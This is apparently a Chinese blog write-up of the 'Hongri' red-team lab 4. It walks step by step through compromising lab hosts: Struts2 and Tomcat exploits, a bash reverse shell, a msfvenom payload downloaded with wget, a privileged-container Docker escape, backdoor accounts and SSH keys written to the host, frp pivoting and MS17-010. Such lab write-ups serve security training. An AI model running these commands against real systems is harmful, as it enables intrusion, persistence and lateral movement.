红日靶场4

ATT&CK红队评估(红日靶场四)

靶场搭建

共有三台主机DC、WEB、WIN7

机器密码

WEB主机 ubuntu:ubuntu

WIN7主机 douser:Dotest123

(DC)WIN2008主机 administrator:Test2008

网络配置

首先创建子网vmnet1

WEB服务机配置如下

DC机和WIN7配置均如下

攻击机kali的网卡和WEB主机的第一个出网网卡一致为NAT模式

WEB主机(Ubuntu)上启动环境

​ sudo docker start ec 17 09 bb da 3d ab ad

拿到ip,打靶开始

外网打点

先上namp扫一波

1
nmap -A 192.168.80.134 -p- 

发现有 22 2001 2002 2003 四个端口开着

上goby扫一下

发现2003端口是phpMyAdmin服务,本来想先试一下弱口令爆破,结果一访问就上去了好像没设置密码

但是除了22之外有三个端口开着那估计是有三种上shell的方式

phpmyadmin上shell

1
show global variables like "%secure%"

发现读写权限没开

1
2
3
4
secure_file_prive=null                //不允许导入导出数据到目录
secure_file_priv=c:\\www //允许导入导出数据到指定目录
secure_file_priv='' //允许导入导出数据到任意目录
secure_file_priv="/" //允许导入导出数据到任意目录

再看看日志记录有没有开,可以使用日志写shell

1
SHOW GLOBAL VARIABLES LIKE%general%

日志记录功能关闭,尝试手动打开

1
SET GLOBAL general_log = ON

但是发现权限太低无法打不开

Struts2上shell

打开2001端口发现是Struts2

用工具扫一下

发现了目标存在s2-045漏洞(CVE-2017-5638)

通过利用工具exp等直接进行命令执行即可

kali开启监听,rce反弹shell

1
bash -i >& /dev/tcp/ip/port 0>&10

shell回弹成功

Tomcat上sell

访问2002端口是Tomcat/8.5.19

网上发现存在漏洞CVE-2017-12617

直接上github

https://github.com/cyberheartmi9/CVE-2017-12617

成功验证了漏洞的存在

可以直接rce

由于两种方法获取的权限都是root权限,可以直接进行下一步

到处外网打点结束

内网渗透

打算先把shell弹到msf方便下一步渗透

先生成一个马

1
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=8888 -f elf > mshell.elf

开启http服务通过命令执行下载

1
2
python3 -m http.server 8000
wget http://192.168.80.128:8000/mshell.elf

开启监听

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost xxx.xxx.xxx.xxx
set lport 8888
run
1
2
chmod +x * 给予执行权限
./mshell.elf

成功弹回shell

内网信息收集

执行ls -al发现了Dockerfile说明是在docaker环境中,要拿下必须进行逃逸

他检测是否为docker环境的方法还有这个环境检测命令,cgroup可以理解为用户和组的关系

docker逃逸

利用dirty cow来进行docker逃逸

这种利用方法利用成功的前提是,宿主机的内核有dirty cow漏洞。

1
2
3
4
5
6
git clone GitHub - scumjr/dirtycow-vdso: PoC for Dirty COW (CVE-2016-5195)

cd dirtycow-vdso

make

但是经过测试本机不存在这个漏洞

利用特权模式进行逃逸

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

在这里发现一个问题,通过Struts2获得的shell,的磁盘文件为空,所以利用不了

所以这里使用tomcat的任意文件上传上传了一个shell

生成哥斯拉shell

上传

连接之后执行

1
fdisk -l 查看磁盘文件

有返回尝试进行挂载

创建一个文件夹,将宿主机根目录挂载至容器目录下

1
2
3
4
5
6
7
 mkdir /out
mount /dev/sda1 /out
cd ../../../tmp
ls
mikir test
mount /dev/sda1 test
cat test/etc/passwd

ssh连接

向etc/paawd里写入账号密码然后进行ssh连接

方法1

可以在相同的ubantu创建新用户复制到此文件中

我这里向

1
test/etc/passwd

写入了

1
yaya:x:1000:1000:yaya,,,:/home/yaya:/usr/bin/zsh

1
test/etc/shadow

写入密钥

1
2
yaya:$y$j9T$TISw4upU4y08IrsHahZwe.$FQ5rY2TlIClHPBngJtmBDKpf1PdcvkwHT..C3HuOf12:19273:0:99999:7:::
systemd-coredump:!*:19273::::::

方法2

这里直接写入ssh-keygen公钥连接

先在kali生成公钥和密钥

1
ssh-keygen -t rsa  

执行之后会生成一个密码文件

讲内容写入目标靶机

1
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD0y3RzGTTLabQjOv0QALZnrPq1Rf2gGOwNZ+AIGVGHHVWun5MZhJRo+FBGhAVrFIwvYchZzKRs8T8W7YmsSBHykKMR6LfpYl1QOXop2eCSOTwj8dfYgPFv22d7pdYK4Vicmwu9RIpcqAdrZ1E0N+WgdIxDz7/rHi9Tku7o2DkFekvMM6UOkmGo7CL0C17iAyRmAlIOBV/+oz6MdPQOSJ4BpcvS6U9kS3dJli8fNDylt+wWH4Uh5CbuJnfJDiOkm+Tvxw6qBpv9t5v1iWK3cXwFc60g2oGm68fuBV1mrLEQQVdcpj8xczWfMzJFOxWBHSVWWcwHT7L+BI6SKvXtOlLtRJbZ+KtKBGXRF/XKMyjjtd35b5Ol5Ounn7OEqrE1/epQbJ7NjDj2apNcpg+xIZQpLJIj9qREDdtpkFmii8XsZnZr/uBy2D5wUMpFinE9RMGoqcxj1BWIXclrQy94e1Vjyd6n/JtirspLMNOhSxjNuydewq0pd9VwQkcEhYaIZ9U= yaya@kali' >> test/home/ubuntu/.ssh/authorized_keys

连接上ssh之后才算拿下了这台机器

发现第二块网卡,应该是内网网卡,因此我们上传scaninfo进行信息收集

为了方便上传直接上ssh工具

上传之后执行

1
2
chmod  777 ./scaninfo_linux_x64
./scaninfo_linux_x64 -i 192.168.183.1/24

工具真是好用

探测到有三个主机存活,那么应该是一台域内个人机和DC,还顺便扫到了MS17-010

经典永恒之蓝

搭个代理直接上msf

代理工具选择frp

配置文件frps.ini

1
2
3
4
5
6
7
8
9
10
11
[common]
bind_addr = 0.0.0.0
bind_port = 8000
dashboard_addr = 0.0.0.0
dashboard_port = 7600
dashboard_user = root
dashboard_pwd = 123456
token = 1q2w3e
heartbeat_timeout = 90
max_pool_count = 5

配置文件frpc.ini

1
2
3
4
5
6
7
8
9
10
11
[common]
server_addr = 192.168.80.128
server_port = 8000
token = 1q2w3e


[proxies]
remote_port = 6000
plugin = socks5
use_encryption = true
use_compression = true

执行

1
2
frps -c frps.ini 服务端执行
frpc -c frpc.ini 客户端执行

成功连接

然后配置一下msf即可

1
2
setg Proxies socks5:127.0.0.1:6000
set ReverseAllowProxy true

成功连接到内网机并且扫描到漏洞

接下来直接用攻击模块攻击


红日靶场4
http://example.com/2023/04/02/红日靶场4/
作者
QY
发布于
2023年4月2日
许可协议